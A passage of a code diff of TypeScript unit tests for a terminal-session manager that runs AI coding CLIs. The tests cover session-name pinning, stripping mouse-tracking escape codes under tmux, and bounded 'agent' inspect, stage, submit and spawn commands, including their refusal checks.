expect(probe(session)._buildRespawnPaneOptions().name).toBe('w1-demo');
|
||||
}
|
||||
);
|
||||
|
||||
it('leaves an auto name unpinned', async () => {
|
||||
writeSettings({ pinCliSessionName: false });
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
expect(session.applyAutoName('w1-demo: fix the login redirect')).toBe(true);
|
||||
expect(await cliNameAtRespawn(session)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('still pins a name the user chose, at creation or by a rename', async () => {
|
||||
writeSettings({ pinCliSessionName: false });
|
||||
expect(await cliNameAtRespawn(new Session({ workingDir: '/tmp', name: 'msgtest-worker' }))).toBe(
|
||||
'msgtest-worker'
|
||||
);
|
||||
|
||||
const renamed = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
renamed.name = '登录修复';
|
||||
expect(await cliNameAtRespawn(renamed)).toBe('登录修复');
|
||||
});
|
||||
});
|
||||
|
||||
it('pins nothing for an auto name, whose cut of the prompt Claude beats', () => {
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
expect(session.applyAutoName('w1-demo: fix the login redirect')).toBe(true);
|
||||
expect(session.cliPinnedName).toBeUndefined();
|
||||
describe('pinCliSessionName on', () => {
|
||||
it('pins the placeholder name, so the CLI session matches the tab', async () => {
|
||||
writeSettings({ pinCliSessionName: true });
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
expect(await cliNameAtRespawn(session)).toBe('w1-demo');
|
||||
expect(session.cliPinnedName).toBe('w1-demo');
|
||||
});
|
||||
|
||||
it('pins an auto name too, from the next spawn', async () => {
|
||||
writeSettings({ pinCliSessionName: true });
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
expect(session.applyAutoName('w1-demo: fix the login redirect')).toBe(true);
|
||||
expect(await cliNameAtRespawn(session)).toBe('w1-demo: fix the login redirect');
|
||||
});
|
||||
|
||||
it('pins a name the user chose', async () => {
|
||||
writeSettings({ pinCliSessionName: true });
|
||||
const renamed = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
renamed.name = '登录修复';
|
||||
expect(await cliNameAtRespawn(renamed)).toBe('登录修复');
|
||||
});
|
||||
|
||||
it('never pins a blank name', async () => {
|
||||
writeSettings({ pinCliSessionName: true });
|
||||
expect(await cliNameAtRespawn(new Session({ workingDir: '/tmp', name: ' ' }))).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
it('pins a name the user chose, at creation or by a rename', () => {
|
||||
expect(new Session({ workingDir: '/tmp', name: 'msgtest-worker' }).cliPinnedName).toBe('msgtest-worker');
|
||||
|
||||
const renamed = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
renamed.name = '登录修复';
|
||||
expect(renamed.cliPinnedName).toBe('登录修复');
|
||||
expect((renamed as unknown as RespawnOptionsProbe)._buildRespawnPaneOptions().cliName).toBe('登录修复');
|
||||
it('follows the setting on the next respawn of the same session, with no restart', async () => {
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
writeSettings({ pinCliSessionName: true });
|
||||
expect(await cliNameAtRespawn(session)).toBe('w1-demo');
|
||||
writeSettings({ pinCliSessionName: false });
|
||||
expect(await cliNameAtRespawn(session)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -102,7 +102,7 @@ describe('isMuxAltScreenOnlyStripMode', () => {
|
||||
expect(isMuxAltScreenOnlyStripMode(mode, false)).toBe(false);
|
||||
}
|
||||
// The full strip and the mouse strip already own their modes; never double-gate.
|
||||
for (const mode of ['claude', 'codex', 'gemini', 'opencode'] as const) {
|
||||
for (const mode of ['claude', 'codex', 'gemini', 'opencode', 'copilot', 'pi'] as const) {
|
||||
expect(isMuxAltScreenOnlyStripMode(mode, true)).toBe(false);
|
||||
}
|
||||
});
|
||||
@@ -366,3 +366,73 @@ describe('strip decision table: live stream = replay, for every stock CLI', () =
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
/**
|
||||
* GitHub Copilot CLI is the same shape as opencode: a full-screen TUI that turns mouse tracking
|
||||
* on itself. Left in, xterm reports a plain drag to the TUI instead of selecting, so Auto Copy and
|
||||
* copy-on-select did nothing (only Shift+drag selected). Same strip, same reason.
|
||||
*/
|
||||
describe('pi: alt-screen + mouse DECSETs stripped, 3J kept (#758)', () => {
|
||||
// What fullscreen pi really emits on entering its TUI, read off a pane on 1.1.0, 1.4.0 and 1.5.0.
|
||||
// Tracking comes on once, here, so a replay that drops it leaves the wheel dead unless the
|
||||
// server remembers it. ?1004h (focus reporting) is not a mouse mode and stays.
|
||||
const ENTER = '\x1b[?1049h\x1b[?7l\x1b[?1000h\x1b[?1002h\x1b[?1004h\x1b[?1006h';
|
||||
|
||||
it('is a mouse-strip mode under tmux, and only there', () => {
|
||||
expect(isMuxMouseStripMode('pi', true)).toBe(true);
|
||||
expect(isMuxMouseStripMode('pi', false)).toBe(false);
|
||||
});
|
||||
|
||||
it('drops the alt-screen and mouse enables, and keeps focus reporting and 3J', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: true });
|
||||
handleOutput(session, `${ENTER}\x1b[3JTUI`);
|
||||
expect(session.terminalBuffer).toBe('\x1b[?7l\x1b[?1004h\x1b[3JTUI');
|
||||
});
|
||||
|
||||
it('publishes cliMouseTracking so the wheel survives a replay', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: true });
|
||||
handleOutput(session, `${ENTER}TUI`);
|
||||
expect(session.toState().cliMouseTracking).toBe(true);
|
||||
handleOutput(session, '\x1b[?1006l\x1b[?1004l\x1b[?1003l\x1b[?1002l\x1b[?1000l');
|
||||
expect(session.toState().cliMouseTracking).toBeFalsy();
|
||||
});
|
||||
|
||||
it('never sets the flag for an inline pi, which emits no mouse enable', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: true });
|
||||
handleOutput(session, '\x1b[?2004hpi');
|
||||
expect(session.toState().cliMouseTracking).toBeFalsy();
|
||||
});
|
||||
|
||||
it('leaves a direct-PTY pi pane untouched', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: false });
|
||||
handleOutput(session, '\x1b[?1049h\x1b[?1002hTUI');
|
||||
expect(session.terminalBuffer).toBe('\x1b[?1049h\x1b[?1002hTUI');
|
||||
});
|
||||
});
|
||||
|
||||
describe('copilot: alt-screen + mouse DECSETs stripped, 3J kept', () => {
|
||||
it('is a mouse-strip mode under tmux, and only there', () => {
|
||||
expect(isMuxMouseStripMode('copilot', true)).toBe(true);
|
||||
expect(isMuxMouseStripMode('copilot', false)).toBe(false);
|
||||
});
|
||||
|
||||
it('drops mouse tracking so xterm keeps local text selection, and keeps 3J', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'copilot' as never, useMux: true });
|
||||
handleOutput(session, '\x1b[?1003h\x1b[?1006h\x1b[3JTUI\x1b[?1006l\x1b[?1003l');
|
||||
expect(session.terminalBuffer).toBe('\x1b[3JTUI');
|
||||
});
|
||||
|
||||
it('publishes cliMouseTracking so the browser can forward the wheel and hand-encode clicks', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'copilot' as never, useMux: true });
|
||||
handleOutput(session, '\x1b[?1002h\x1b[?1006hTUI');
|
||||
expect(session.toState().cliMouseTracking).toBe(true);
|
||||
handleOutput(session, '\x1b[?1002l\x1b[?1006l');
|
||||
expect(session.toState().cliMouseTracking).toBeFalsy();
|
||||
});
|
||||
|
||||
it('leaves a direct-PTY copilot pane untouched', () => {
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'copilot' as never, useMux: false });
|
||||
handleOutput(session, '\x1b[?1049h\x1b[?1002hTUI');
|
||||
expect(session.terminalBuffer).toBe('\x1b[?1049h\x1b[?1002hTUI');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,127 @@
|
||||
/** @fileoverview Agent inspect/stage/submit transport, refusal and file boundaries. */
|
||||
import { expect, it } from 'vitest';
|
||||
import { mkdtemp, writeFile, rm } from 'node:fs/promises';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import {
|
||||
agentInspect,
|
||||
agentStage,
|
||||
agentSubmit,
|
||||
registerAgentCommands,
|
||||
type AgentDeps,
|
||||
type RequestOptions,
|
||||
} from '../src/cli-agent.js';
|
||||
import { Command } from 'commander';
|
||||
const SELF = '11111111-1111-4111-8111-111111111111';
|
||||
const OTHER = '22222222-2222-4222-8222-222222222222';
|
||||
function deps() {
|
||||
const calls: RequestOptions[] = [],
|
||||
output: string[] = [];
|
||||
const deps: AgentDeps = {
|
||||
ctx: { apiUrl: 'http://localhost:1', selfId: SELF },
|
||||
json: true,
|
||||
now: () => 1,
|
||||
io: { out: (line) => output.push(line), err: () => {} },
|
||||
request: async (_ctx, options) => {
|
||||
calls.push(options);
|
||||
return {
|
||||
status: 200,
|
||||
text: '',
|
||||
json: { success: true, data: { evidence: 'hello', stageId: OTHER, sha256: 'a'.repeat(64) } },
|
||||
};
|
||||
},
|
||||
};
|
||||
return { deps, calls, output };
|
||||
}
|
||||
it('inspect uses the ownership-checked versioned endpoint with exact bounds and cursor', async () => {
|
||||
const d = deps();
|
||||
expect(await agentInspect(d.deps, { id: OTHER, maxBytes: 42, since: 'cursor' })).toBe(0);
|
||||
expect(d.calls[0]).toMatchObject({
|
||||
method: 'GET',
|
||||
path: `/api/v1/sessions/${OTHER}/inspect`,
|
||||
query: { maxBytes: 42, since: 'cursor' },
|
||||
});
|
||||
expect(JSON.parse(d.output[0]).evidence).toBe('hello');
|
||||
expect(await agentInspect(d.deps, { id: OTHER, maxBytes: 65537 })).toBe(4);
|
||||
expect(d.calls).toHaveLength(1);
|
||||
});
|
||||
it('stage reads a bounded UTF8 file and never adds Enter; submit sends only receipt and hash', async () => {
|
||||
const dir = await mkdtemp(join(tmpdir(), 'agent-stage-cli-'));
|
||||
try {
|
||||
const path = join(dir, 'message');
|
||||
await writeFile(path, 'hello');
|
||||
const d = deps();
|
||||
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(0);
|
||||
expect(d.calls[0]).toMatchObject({
|
||||
method: 'POST',
|
||||
path: `/api/v1/sessions/${OTHER}/stage`,
|
||||
body: { message: 'hello' },
|
||||
});
|
||||
expect(await agentSubmit(d.deps, { id: OTHER, stageId: OTHER, confirmSha: 'a'.repeat(64) })).toBe(0);
|
||||
expect(d.calls[1].body).toEqual({ stageId: OTHER, confirmSha: 'a'.repeat(64) });
|
||||
await writeFile(path, 'hello\n');
|
||||
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(4);
|
||||
await writeFile(path, Buffer.from([0xff]));
|
||||
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(4);
|
||||
await writeFile(path, 'x'.repeat(8193));
|
||||
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(4);
|
||||
expect(d.calls).toHaveLength(2);
|
||||
} finally {
|
||||
await rm(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
it('refuses self-target and malformed submission before transport', async () => {
|
||||
const d = deps();
|
||||
expect(await agentStage(d.deps, { id: SELF, messageFile: '/nonexistent' })).toBe(4);
|
||||
expect(await agentSubmit(d.deps, { id: SELF, stageId: OTHER, confirmSha: 'a'.repeat(64) })).toBe(4);
|
||||
expect(await agentSubmit(d.deps, { id: OTHER, stageId: OTHER, confirmSha: 'bad' })).toBe(4);
|
||||
expect(d.calls).toHaveLength(0);
|
||||
});
|
||||
it('registers required file and confirmation options and bounded inspect flags', () => {
|
||||
const program = new Command();
|
||||
registerAgentCommands(program);
|
||||
const commands = program.commands.find((command) => command.name() === 'agent')!.commands;
|
||||
for (const name of ['inspect', 'stage', 'submit'])
|
||||
expect(commands.some((command) => command.name() === name)).toBe(true);
|
||||
expect(
|
||||
commands.find((command) => command.name() === 'stage')!.options.find((option) => option.long === '--message-file')
|
||||
?.mandatory
|
||||
).toBe(true);
|
||||
expect(
|
||||
commands.find((command) => command.name() === 'submit')!.options.find((option) => option.long === '--confirm-sha')
|
||||
?.mandatory
|
||||
).toBe(true);
|
||||
});
|
||||
it('shows the opt-in 403 verbatim on inspect, stage and submit while the setting is off', async () => {
|
||||
const dir = await mkdtemp(join(tmpdir(), 'agent-stage-cli-'));
|
||||
try {
|
||||
const path = join(dir, 'message');
|
||||
await writeFile(path, 'hello');
|
||||
const message =
|
||||
'Experimental agent coordination (inspect, stage, submit) is disabled. Turn on "Experimental agent coordination" in Settings (agentCoordinationEnabled) and save first.';
|
||||
for (const json of [false, true]) {
|
||||
const lines: string[] = [];
|
||||
const refusing: AgentDeps = {
|
||||
ctx: { apiUrl: 'http://localhost:1', selfId: SELF },
|
||||
json,
|
||||
now: () => 1,
|
||||
io: { out: (line) => lines.push(line), err: (line) => lines.push(line) },
|
||||
request: async () => ({
|
||||
status: 403,
|
||||
text: '',
|
||||
json: { success: false, error: message, errorCode: 'FORBIDDEN' },
|
||||
}),
|
||||
};
|
||||
expect(await agentInspect(refusing, { id: OTHER, maxBytes: 10 })).toBe(1);
|
||||
expect(await agentStage(refusing, { id: OTHER, messageFile: path })).toBe(1);
|
||||
expect(await agentSubmit(refusing, { id: OTHER, stageId: OTHER, confirmSha: 'a'.repeat(64) })).toBe(1);
|
||||
expect(lines).toHaveLength(3);
|
||||
for (const line of lines) {
|
||||
const shown = json ? (JSON.parse(line) as { success: boolean; error: string }).error : line;
|
||||
expect(shown).toContain(`FORBIDDEN: ${message} (HTTP 403)`);
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
await rm(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,351 @@
|
||||
import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises';
|
||||
import http from 'node:http';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { Command } from 'commander';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
agentSpawn,
|
||||
isHomeDirectory,
|
||||
registerAgentCommands,
|
||||
EXIT,
|
||||
type AgentDeps,
|
||||
type ApiResponse,
|
||||
type RequestOptions,
|
||||
} from '../src/cli-agent.js';
|
||||
|
||||
const SELF = '058ee7b5-b2aa-4c33-8cc1-e900eb0b28af';
|
||||
const OTHER = '94990c6d-e461-4a29-aa83-89275327732c';
|
||||
const dirs: string[] = [];
|
||||
afterEach(async () => {
|
||||
for (const dir of dirs.splice(0)) await rm(dir, { recursive: true, force: true });
|
||||
});
|
||||
const ok = (data: unknown): ApiResponse => ({ status: 200, json: { success: true, data }, text: '' });
|
||||
function deps(responses: ApiResponse[]) {
|
||||
const calls: RequestOptions[] = [];
|
||||
const out: string[] = [];
|
||||
const err: string[] = [];
|
||||
const d: AgentDeps = {
|
||||
ctx: { selfId: SELF, apiUrl: 'http://127.0.0.1:1' },
|
||||
json: true,
|
||||
now: Date.now,
|
||||
io: { out: (s) => out.push(s), err: (s) => err.push(s) },
|
||||
request: async (_ctx, options) => {
|
||||
calls.push(options);
|
||||
return responses.shift() ?? ok({});
|
||||
},
|
||||
};
|
||||
return { d, calls, out, err };
|
||||
}
|
||||
const base = { mode: 'codex', ready: false, timeoutMs: 1000 };
|
||||
describe('project-preserving agent spawn', () => {
|
||||
it('uses existing session create and interactive endpoints with exact directory and lineage', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'cod549-project-'));
|
||||
dirs.push(directory);
|
||||
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
|
||||
expect(await agentSpawn(t.d, { ...base, workingDir: directory, name: 'review' })).toBe(EXIT.ok);
|
||||
expect(t.calls).toHaveLength(2);
|
||||
expect(t.calls[0]).toMatchObject({
|
||||
method: 'POST',
|
||||
path: '/api/v1/sessions',
|
||||
body: { workingDir: directory, mode: 'codex', name: 'review', parentSessionId: SELF },
|
||||
});
|
||||
expect(t.calls[0].headers ?? {}).not.toHaveProperty('X-Codeman-Agent-Origin');
|
||||
expect(t.calls[1]).toMatchObject({ method: 'POST', path: `/api/v1/sessions/${OTHER}/interactive` });
|
||||
expect(JSON.parse(t.out[0])).toMatchObject({ sessionId: OTHER, workingDir: directory });
|
||||
});
|
||||
it('defaults to the current directory when no case is supplied', async () => {
|
||||
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.ok);
|
||||
expect(t.calls[0].body).toMatchObject({ workingDir: process.cwd() });
|
||||
});
|
||||
it('keeps explicit case quick-start behavior', async () => {
|
||||
const t = deps([ok({ sessionId: OTHER })]);
|
||||
expect(await agentSpawn(t.d, { ...base, caseName: 'scratch' })).toBe(EXIT.ok);
|
||||
expect(t.calls).toHaveLength(1);
|
||||
expect(t.calls[0].path).toBe('/api/v1/quick-start');
|
||||
});
|
||||
it('refuses case and working directory together before network IO', async () => {
|
||||
const t = deps([]);
|
||||
expect(await agentSpawn(t.d, { ...base, caseName: 'scratch', workingDir: process.cwd() })).toBe(EXIT.refused);
|
||||
expect(t.calls).toEqual([]);
|
||||
});
|
||||
it('refuses missing directories, regular files and unknown modes before creating a session', async () => {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'cod549-project-'));
|
||||
dirs.push(directory);
|
||||
const file = join(directory, 'file');
|
||||
await writeFile(file, 'x');
|
||||
for (const options of [{ workingDir: join(directory, 'absent') }, { workingDir: file }, { mode: 'not-a-cli' }]) {
|
||||
const t = deps([]);
|
||||
expect(await agentSpawn(t.d, { ...base, ...options })).toBe(EXIT.refused);
|
||||
expect(t.calls).toEqual([]);
|
||||
}
|
||||
});
|
||||
it('reports the created session ID when startup fails instead of retrying or silently leaking it', async () => {
|
||||
const t = deps([
|
||||
ok({ session: { id: OTHER } }),
|
||||
{ status: 400, text: '', json: { success: false, error: 'cannot start', errorCode: 'OPERATION_FAILED' } },
|
||||
]);
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
|
||||
expect(t.out).toHaveLength(1);
|
||||
expect(JSON.parse(t.out.join('\n'))).toMatchObject({ sessionId: OTHER, created: true, ready: false });
|
||||
expect(t.calls).toHaveLength(2);
|
||||
});
|
||||
it('does not request startup when creation is refused', async () => {
|
||||
const t = deps([{ status: 403, text: 'Forbidden' }]);
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
|
||||
expect(t.calls).toHaveLength(1);
|
||||
});
|
||||
it('retains the exact created ID on an ambiguous startup transport failure without retrying', async () => {
|
||||
const t = deps([ok({ session: { id: OTHER } })]);
|
||||
const request = t.d.request;
|
||||
t.d.request = async (context, options) => {
|
||||
if (options.path.endsWith('/interactive')) {
|
||||
t.calls.push(options);
|
||||
throw new Error('connection lost');
|
||||
}
|
||||
return request(context, options);
|
||||
};
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
|
||||
expect(t.out).toHaveLength(1);
|
||||
expect(JSON.parse(t.out.join('\n'))).toMatchObject({
|
||||
sessionId: OTHER,
|
||||
created: true,
|
||||
startupError: 'connection lost',
|
||||
});
|
||||
expect(t.calls).toHaveLength(2);
|
||||
});
|
||||
it('treats an empty startup exception as a failure and keeps the created ID', async () => {
|
||||
const t = deps([ok({ session: { id: OTHER } })]);
|
||||
const request = t.d.request;
|
||||
t.d.request = async (context, options) => {
|
||||
if (options.path.endsWith('/interactive')) throw new Error('');
|
||||
return request(context, options);
|
||||
};
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
|
||||
expect(t.out).toHaveLength(1);
|
||||
expect(JSON.parse(t.out[0])).toMatchObject({
|
||||
sessionId: OTHER,
|
||||
ready: false,
|
||||
startupError: 'Startup request failed',
|
||||
});
|
||||
});
|
||||
it('exposes an optional case and working directory in the CLI', () => {
|
||||
const spawn = registerAgentCommands(new Command()).commands.find((command) => command.name() === 'spawn')!;
|
||||
expect(spawn.registeredArguments[0].required).toBe(false);
|
||||
expect(spawn.options.some((option) => option.long === '--working-dir')).toBe(true);
|
||||
});
|
||||
it('starts a shell through its registered startMode endpoint', async () => {
|
||||
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
|
||||
expect(await agentSpawn(t.d, { ...base, mode: 'shell' })).toBe(EXIT.ok);
|
||||
expect(t.calls[1].path).toBe(`/api/v1/sessions/${OTHER}/shell`);
|
||||
});
|
||||
it('a create answer without session.id is a failure, and nothing is started', async () => {
|
||||
// `POST /api/sessions` answers `{ session: { id } }`; a bare `{ id }` is not that route.
|
||||
const t = deps([ok({ id: OTHER })]);
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
|
||||
expect(t.calls).toHaveLength(1);
|
||||
});
|
||||
it('an empty case name goes to quick-start (which refuses it), never to the caller cwd', async () => {
|
||||
const t = deps([
|
||||
{
|
||||
status: 400,
|
||||
text: '',
|
||||
json: { success: false, error: 'Invalid case name format', errorCode: 'INVALID_INPUT' },
|
||||
},
|
||||
]);
|
||||
expect(await agentSpawn(t.d, { ...base, caseName: '' })).toBe(EXIT.error);
|
||||
expect(t.calls).toHaveLength(1);
|
||||
expect(t.calls[0]).toMatchObject({ method: 'POST', path: '/api/v1/quick-start', body: { caseName: '' } });
|
||||
expect(t.calls[0].body).not.toHaveProperty('workingDir');
|
||||
});
|
||||
it('an empty case name with --working-dir is refused like any case plus --working-dir', async () => {
|
||||
const t = deps([]);
|
||||
expect(await agentSpawn(t.d, { ...base, caseName: '', workingDir: process.cwd() })).toBe(EXIT.refused);
|
||||
expect(t.calls).toEqual([]);
|
||||
});
|
||||
it('an empty or whitespace-only --working-dir is refused before any request, never the caller cwd', async () => {
|
||||
for (const workingDir of ['', ' ', '\t']) {
|
||||
const t = deps([]);
|
||||
expect(await agentSpawn(t.d, { ...base, workingDir })).toBe(EXIT.refused);
|
||||
expect(t.calls).toEqual([]);
|
||||
expect(t.out.join('\n')).toContain('--working-dir is empty');
|
||||
}
|
||||
});
|
||||
it('with ready on claude: create, then /interactive, then wait-output on the created id', async () => {
|
||||
const t = deps([ok({ session: { id: OTHER } }), ok({}), ok({ wait: { matched: true } })]);
|
||||
expect(await agentSpawn(t.d, { ...base, mode: 'claude', ready: true })).toBe(EXIT.ok);
|
||||
expect(t.calls.map((c) => `${c.method} ${c.path}`)).toEqual([
|
||||
'POST /api/v1/sessions',
|
||||
`POST /api/v1/sessions/${OTHER}/interactive`,
|
||||
`GET /api/v1/sessions/${OTHER}/wait-output`,
|
||||
]);
|
||||
expect(t.calls[2].query).toMatchObject({ match: 'shift+tab', from: 'buffer' });
|
||||
expect(JSON.parse(t.out[0])).toMatchObject({ sessionId: OTHER, created: true, ready: true });
|
||||
});
|
||||
it('without --json a failed start prints the id alone on stdout, the reason on stderr, and exits 1', async () => {
|
||||
const t = deps([
|
||||
ok({ session: { id: OTHER } }),
|
||||
{ status: 400, text: '', json: { success: false, error: 'cannot start', errorCode: 'OPERATION_FAILED' } },
|
||||
]);
|
||||
t.d.json = false;
|
||||
expect(await agentSpawn(t.d, { ...base, ready: true })).toBe(EXIT.error);
|
||||
expect(t.out).toEqual([OTHER]);
|
||||
expect(t.err).toHaveLength(1);
|
||||
expect(t.err[0]).toContain(`Session ${OTHER} was created but startup failed`);
|
||||
expect(t.err[0]).toContain('cannot start');
|
||||
expect(t.calls).toHaveLength(2); // no readiness wait after a failed start
|
||||
});
|
||||
});
|
||||
|
||||
describe('agent spawn through the real argument parser and transport', () => {
|
||||
async function runSpawn(args: string[]) {
|
||||
const seen: Array<{ method?: string; url?: string; body: unknown }> = [];
|
||||
const server = http.createServer((req, res) => {
|
||||
const chunks: Buffer[] = [];
|
||||
req.on('data', (c: Buffer) => chunks.push(c));
|
||||
req.on('end', () => {
|
||||
const raw = Buffer.concat(chunks).toString();
|
||||
seen.push({ method: req.method, url: req.url, body: raw ? JSON.parse(raw) : undefined });
|
||||
res
|
||||
.writeHead(400, { 'Content-Type': 'application/json' })
|
||||
.end(JSON.stringify({ success: false, error: 'refused', errorCode: 'INVALID_INPUT' }));
|
||||
});
|
||||
});
|
||||
await new Promise<void>((done) => server.listen(0, '127.0.0.1', done));
|
||||
const { port } = server.address() as { port: number };
|
||||
const saved = { ...process.env };
|
||||
const savedExit = process.exitCode;
|
||||
const log = vi.spyOn(console, 'log').mockImplementation(() => {});
|
||||
const error = vi.spyOn(console, 'error').mockImplementation(() => {});
|
||||
try {
|
||||
Object.assign(process.env, {
|
||||
CODEMAN_MUX: '1',
|
||||
CODEMAN_API_URL: `http://127.0.0.1:${port}`,
|
||||
CODEMAN_SESSION_ID: SELF,
|
||||
});
|
||||
delete process.env.CODEMAN_PASSWORD;
|
||||
const program = new Command();
|
||||
program.exitOverride();
|
||||
registerAgentCommands(program);
|
||||
await program.parseAsync(['node', 'codeman', 'agent', 'spawn', ...args, '--no-ready', '--json']);
|
||||
return { seen, exitCode: process.exitCode };
|
||||
} finally {
|
||||
process.exitCode = savedExit;
|
||||
for (const key of ['CODEMAN_MUX', 'CODEMAN_API_URL', 'CODEMAN_SESSION_ID', 'CODEMAN_PASSWORD']) {
|
||||
if (saved[key] === undefined) delete process.env[key];
|
||||
else process.env[key] = saved[key];
|
||||
}
|
||||
log.mockRestore();
|
||||
error.mockRestore();
|
||||
await new Promise<void>((done) => server.close(() => done()));
|
||||
}
|
||||
}
|
||||
|
||||
it('`spawn ""` (as `spawn "$CASE"` with CASE unset) reaches quick-start with caseName "" and exits 1', async () => {
|
||||
const { seen, exitCode } = await runSpawn(['']);
|
||||
expect(seen).toHaveLength(1);
|
||||
expect(seen[0]).toMatchObject({ method: 'POST', url: '/api/v1/quick-start', body: { caseName: '' } });
|
||||
expect(exitCode).toBe(EXIT.error);
|
||||
});
|
||||
it('`spawn --working-dir ""` (as `--working-dir "$WT"` with WT unset) sends nothing and exits 4', async () => {
|
||||
for (const value of ['', ' ']) {
|
||||
const { seen, exitCode } = await runSpawn(['--working-dir', value]);
|
||||
expect(seen).toEqual([]);
|
||||
expect(exitCode).toBe(EXIT.refused);
|
||||
}
|
||||
});
|
||||
it('`spawn` with no case argument creates in the caller cwd', async () => {
|
||||
const { seen, exitCode } = await runSpawn([]);
|
||||
expect(seen).toHaveLength(1);
|
||||
expect(seen[0]).toMatchObject({ method: 'POST', url: '/api/v1/sessions', body: { workingDir: process.cwd() } });
|
||||
expect(exitCode).toBe(EXIT.error);
|
||||
});
|
||||
it('bare `spawn` from a HOME cwd sends nothing and exits 4; `--working-dir <HOME>` is sent', async () => {
|
||||
const home = await mkdtemp(join(tmpdir(), 'cod549-home-'));
|
||||
dirs.push(home);
|
||||
vi.stubEnv('HOME', home);
|
||||
const cwd = vi.spyOn(process, 'cwd').mockReturnValue(home);
|
||||
try {
|
||||
const bare = await runSpawn([]);
|
||||
expect(bare.seen).toEqual([]);
|
||||
expect(bare.exitCode).toBe(EXIT.refused);
|
||||
const explicit = await runSpawn(['--working-dir', home]);
|
||||
expect(explicit.seen).toHaveLength(1);
|
||||
expect(explicit.seen[0]).toMatchObject({ url: '/api/v1/sessions', body: { workingDir: home } });
|
||||
} finally {
|
||||
cwd.mockRestore();
|
||||
vi.unstubAllEnvs();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('agent spawn never treats an implicit HOME cwd as a project', () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllEnvs();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
async function homeDir(): Promise<string> {
|
||||
const directory = await mkdtemp(join(tmpdir(), 'cod549-home-'));
|
||||
dirs.push(directory);
|
||||
return directory;
|
||||
}
|
||||
|
||||
it('refuses a cwd that is HOME with exit 4 before any request and names the explicit flag', async () => {
|
||||
const home = await homeDir();
|
||||
vi.stubEnv('HOME', home);
|
||||
vi.spyOn(process, 'cwd').mockReturnValue(home);
|
||||
const t = deps([]);
|
||||
expect(await agentSpawn(t.d, { ...base, mode: 'claude' })).toBe(EXIT.refused);
|
||||
expect(t.calls).toEqual([]);
|
||||
expect(JSON.parse(t.out[0]).error).toContain('pass --working-dir ~');
|
||||
});
|
||||
it('compares realpaths, so a symlinked HOME still matches the cwd it points at', async () => {
|
||||
const real = await homeDir();
|
||||
const link = join(await homeDir(), 'home-link');
|
||||
await symlink(real, link);
|
||||
vi.stubEnv('HOME', link);
|
||||
vi.spyOn(process, 'cwd').mockReturnValue(real);
|
||||
const t = deps([]);
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.refused);
|
||||
expect(t.calls).toEqual([]);
|
||||
});
|
||||
it('allows an explicit --working-dir that is HOME, as POST /api/sessions does', async () => {
|
||||
const home = await homeDir();
|
||||
vi.stubEnv('HOME', home);
|
||||
vi.spyOn(process, 'cwd').mockReturnValue(home);
|
||||
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
|
||||
expect(await agentSpawn(t.d, { ...base, workingDir: home })).toBe(EXIT.ok);
|
||||
expect(t.calls[0].body).toMatchObject({ workingDir: home });
|
||||
});
|
||||
it('allows a cwd below HOME', async () => {
|
||||
const home = await homeDir();
|
||||
const project = join(home, 'src', 'app');
|
||||
await mkdir(project, { recursive: true });
|
||||
vi.stubEnv('HOME', home);
|
||||
vi.spyOn(process, 'cwd').mockReturnValue(project);
|
||||
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
|
||||
expect(await agentSpawn(t.d, base)).toBe(EXIT.ok);
|
||||
expect(t.calls[0].body).toMatchObject({ workingDir: project });
|
||||
});
|
||||
it('never throws when HOME cannot be resolved, and compares the resolved paths instead', async () => {
|
||||
const missing = join(await homeDir(), 'absent');
|
||||
vi.stubEnv('HOME', missing);
|
||||
